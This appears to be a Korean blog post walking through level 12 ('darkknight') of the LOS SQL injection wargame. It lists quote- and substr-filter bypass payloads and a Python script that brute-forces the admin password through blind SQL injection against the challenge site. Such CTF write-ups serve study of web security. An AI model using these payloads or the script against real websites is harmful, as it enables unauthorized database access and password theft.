본문 바로가기
Study/Web

[웹해킹] LOS 12번 darkknight

by graygreat 2017. 9. 7.
728x90
반응형



음... 좀 까다로운 것 같다


쿼터도 막혀있고, substr도 막혀있다.


우선 admin계정을 찾아보자.



이제 비밀번호를 찾아보자.



비밀번호는 8자!!!


브루트포스 하기 위해 찾아냈다.


쿼터를 사용하지 못해서 어떻게 문제를 풀 것인가 찾아보았다.


쿼터를 사용하지 못할 때


' and substr(str, 1, 1) = 0x61 #


' and substr(str, 1, 1) = unhex(61) #


' and substr(str, 1, 1) = char(97) #


전부 a로 변환된다.


얘네도 막혔다면


' and hex(substr(str, 1, 1)) = 61 #


' and ascii(substr(str, 1, 1)) = 97 #


' and ord(substr(str, 1, 1)) = 97 #


나는 char(97)과 같은 방법을 사용했다.


또한 substr가 막혀서


right(left(pw, 1), 1)과 같은 방식을 사용했다.



 

이런 방식으로 브루트포스 소스를 짜서 돌리면


import requests

url = 'http://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php'

head={ 'cookie' : 'PHPSESSID=jb0fn7h3a9equg6ks5fucp8cc6; 
__cfduid=dc1a492341f80f72da3031f4ceecfdf101501339269' }

password=''


     
for x in range(1, 9):
    for y in range(48, 123):
        brute_string = "1 or no>1 and right(left(pw,"+str(x)+"),1) like char("+str(y)+") #"
        params = {"no": brute_string}
        res = requests.get(url=url, params=params, headers=head)
  
        if "Hello admin" in res.text:
            print chr(y)          
            break



이렇게 8자리 비밀번호가 나온다.



이렇게 비밀번호를 입력하면 문제 해결~

반응형

'Study > Web' 카테고리의 다른 글

[웹해킹] LOS 11번 golem  (0) 2017.08.18
[웹해킹] LOS 10번 skeleton  (0) 2017.08.18
[웹해킹] LOS 9번 vampire  (0) 2017.08.18
[웹해킹] LOS 8번 troll  (0) 2017.08.18
[웹해킹] LOS 7번 orge  (0) 2017.08.18

댓글